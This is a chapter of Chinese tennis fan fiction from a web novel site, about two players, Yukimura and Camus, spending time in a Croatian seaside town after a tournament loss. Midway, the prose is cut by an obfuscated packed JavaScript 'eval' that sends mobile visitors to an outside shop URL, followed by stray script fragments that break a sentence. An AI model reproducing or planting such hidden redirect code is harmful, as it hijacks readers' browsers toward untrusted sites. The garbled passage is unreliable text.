文趣网 > 都市小说 > 【网王】Road to Grand > 42.真话
    没有人输了比赛会开心,尤其对于他们这些格外苛责于输赢的、把生活的最大重心放在比赛上的选手。

    加缪的这一次克罗地亚公开赛之旅在第二轮就结束了,温和得体的仪态在回到房间的一瞬间已然消失得毫无踪迹。

    挺直的脊梁瘫软下来,幸村陪着他坐在进门右侧的沙发上。前进,然后遇到阻碍,一次又一次地撞头,饶是加缪也不由地产生怀疑情绪。

    “我...真的可以吗?”

    加缪正把自己的脑袋放在幸村的膝上,任由幸村梳理他不太服帖的头发。

    加缪的头发和幸村自己的一样是需要特意打理的发质,幸村的头发细软卷翘,加缪的要更强硬坚韧些,那些金棕色的头发仿佛某种大型动物的皮毛。

    夏天气温高,即使因为室内开了空调,幸村穿了长裤,但单薄的布料依然阻挡不了来自另外一个人的热量渗透到皮肤表面。

    “leo,你一定可以的,相信我,我已经看到了你拿冠军的未来。”

    加缪的手搂在幸村的腰上,幸村恍惚间觉得自己是一个强效人形安抚抱枕。

    幸村的手指插在加缪的发丝里,轻柔细致地梳着,“我在这里陪着你,leo。”

    幸村有些想不起来上一次他这样做是什么时候,一定是他生病之前。

    他生病前,加缪每次比赛输了都会来找他,有时像现在这样,有时会安安静静地抱着他,脸埋进幸村的脖颈里,偶尔幸村会感受到有水落在他那块的皮肤上

    他查出那个病之后,加缪就仿佛一夜之间长大了,变得太可靠了,不再来寻求他的安慰。

    他们之间差了两年零九个月…时间是最残酷的东西,他永远要比加缪慢上好几步,幸村不止一次地想。

    加缪并非是会沉溺于一次失败中的人,韧性与意志是网球学习中重要且不可或缺的一环。

    酒店预订的时间是到这个赛事结束后,加缪和幸村也不急着回巴黎,提前确定好之后要去看的比赛后,剩余的时间就用来在这座城市四处看看。

    弗莱德对此给出的评论是,“要是每场比赛都有幸村在,我们可以拿atp最佳团队氛围奖。”

    往常一场比赛输了之后,加缪虽然嘴上不说,但就撑着头坐在那里,脸上没有多余的神情。

    “没有这个奖项,fred教练。”幸村听到这话时正和加缪头对头,两个人各自搜索中午去尝试的当地餐厅,抽空抬起头回复正神老在地喝水的、因为来过这里好几次而打算留在酒店休息的弗莱德。

    加缪紧接着打趣道,“我们可以试试努力让他们专门为你设立一个。”

    乌马格是一座靠海的小城。城市不大,街道上铺着浅色石板,交错有序,和城市里的旧式房屋恰好圆融。

    老城靠近海边,城墙不高,几条巷子彼此相连,房屋贴得很近,窗户小但多半开着,临街的阳台上有的摆放着花盆,里面生长着不同种类但都被照料而肆意生长的植物。

    海在城的另一侧,这里少有沙滩,多是石岸和人工建造出的平台。游逛的人大多三五成群,沿着海边慢走,偶尔停下来看水,站在一块闲聊。

    夏天的空气总带着海水升腾后产生的盐味,海风并不大,但吹过时依旧可以听到细微的风声,像是对耳朵的一套马杀鸡,走着走着连思绪都慢了下来。

    小城里对游客开放、提供服务的街道少,餐厅更是不集中,多分散在街角或海边小道上。

    幸村和加缪提前在网上做了功课,才让他们在太阳尽情散发出最大热量之前到达了餐厅、

    正是比赛期间,城市里更多了穿运动服的选手和为了观看比赛来到这里的游客。

    餐厅落在古城和海之间的街道,只是多拐了几个弯,等待饱餐一顿的游客大多已经走进了前面的餐厅、店铺中,这家店里的食客并不多。

    填饱了五脏庙,他们没有急着离开,只是安静地欣赏窗外的海景。

    无论哪里的海,赞美它的人如何夸耀它的独特,但仅凭借肉眼从相似的距离望去,总归只是一片海的样子。

    海的特别不在它本身,在看它的人身上。

    或许是记忆里曾有过海水层层涌过又褪去的声响,幸村向来喜欢海边,身边亲近的人注意到了也自然会满足他的喜好

    下午的剩余时间便花在了旁边的古城里,足够高大的石壁投下的阴影让人可以躲过灼热的日光。

    傍晚时分,灯光沿着海岸线一盏盏亮起,游人逐渐散去,街道很快就空了下来,只剩下海浪冲到岸边又回旋的水声。

    夕阳挂在海的尽头,半个圆形埋入了海水里,日光也仿若被海水降了温,只余下些许并不刺人的光。

    夕阳把周围的几层云彩染成或浓或淡的橙红色调,倒影在波动的海面上仿佛是一群追逐着落日而去的金红色的鱼。

    “果然还是太阳落山了更舒服。”加缪想把头发扎起来,毕竟如果不这样的话,很容易就变成一个被海风吹出来的蓬头野鬼。

    幸村把目光从远处的平坦广阔的可以包容一切好的不好的情绪的海面移到了加缪身上,就被加缪手忙脚乱和逐渐变大的海风抢头发的行为逗笑了,接过加缪的发圈。

    “leo的头发很好看,但这个时候意外地有些狼狈呢。”

    剪短过的头发总有几簇不够安分的翘起,幸村专注地把发丝都笼到右手手心里,再用发绳绑了两圈,也就没有留意到加缪脸上格外缱绻的笑容。

    对于加缪也是同样的,忙碌的赛程里他已经找不出多余的可供自己娱乐的假日专程去找幸村,但幸好,幸村总是愿意出现,突然出现的身影像个有魔力的小精灵。

    “大概等年底会再剪短一点吧,已经有些习惯短头发是什么感觉了。”

    把自己从小养的长头发剪短,说不心疼是不可能的,总归是花了大功夫打理的。加缪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719501|207208||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的口袋里到现在都还有不少巴黎高档美发馆的会员卡,但习惯了也就好了。

    听到年底,幸村猝然收起了还放在加缪头发上的手,垂下了眸子,嘴角不悦地抿起。加缪还在瞒着他,他不愿意和自己说。

    这个年底同样提醒到了加缪,他思索片刻,“唔...十一月底想要带你去看一个地方,你得空出点时间给我。但如果空不出的话,也没关系,我...”

    幸村的耳朵悄然竖了起来,他的心一下子飘到了天那边的云朵上、在柔软的落日余晖下打滚,但幸村依旧装作思考地停顿了一会儿,故意没有去看加缪期待的目光,然后才点头。

    “不过,我得先和教练说一下。”幸村突然的停顿让加缪随之呼吸一滞,幸村忍不住轻笑了一声才继续说下去,“假期肯定有的,提前确定好时间,这样方便他们定训练计划。”

    加缪眯了下眼睛,已然察觉到幸村在故意逗他玩,但只是抬头捏了捏幸村的脸颊,“好,确定好了跟我说,我们还可以出去旅游。”

    相比于加缪在抽条后线条越发凌厉的侧脸,幸村依旧留着圆鼓鼓的脸颊,生闷声或者暗中咬紧牙齿的时候格外让人想要掐一下。

    但手底下的脸颊似乎只剩下了一层薄薄的皮肉,加缪认真地端详着,骤然发现幸村瘦了,领口的锁骨突出、锁骨下肋骨顶撞着皮肤。

    “瘦了。”

    幸村微睁大了眼睛,在加缪灼灼的注视下忍不住往后仰了些,“体重是掉了一些,也很正常,毕竟最近一直在忙。”

    “多吃点,不然要长不高。”加缪压住内心的忧心,挑起嘴角,拉起幸村的手,摩挲着他的手腕。

    加缪并不是第一个和幸村说起这个事情的人,他的教练们手上有清晰明了的数据,幸村的体重今年下降了五公斤,这对于幸村并不是一个好消息,体力、力量都有受到影响。

    手腕上的皮肤薄,只是轻轻的触碰都会感受让人不自觉想要躲避的痒意,但幸村没有挣脱开加缪的手。

    他也无法没法立刻答应加缪,比赛间的修整期幸村的体重会上升,但一进入备赛和比赛状态他的体重就又掉下去了。

    “leo,我没有办法给你保证。”幸村不喜欢说些可能没法完成的诺言,那没有意义。

    “你总得说点好听的话让我有个好点的心情。”加缪只是叹了口气,并不觉得意外于幸村的回应。

    幸村悄悄拉住他的手,晃了晃,没有说话,但加缪心中憋着的那口气一下子就散了,幸村从小就是这个性格,但这一次加缪没有放任幸村转移开话题。

    “seiichi,我们都知道保持诚实是非常珍贵、令人惊叹的特质,它非常重要。但有时候一些漂亮话也是无法避免的。”

    幸村只是抬头很认真地看着加缪,棕褐色的眼睛里藏着一些笑意,“我知道的,leo,你总是把我当小孩子。漂亮话是给别人的,真话是给你的。”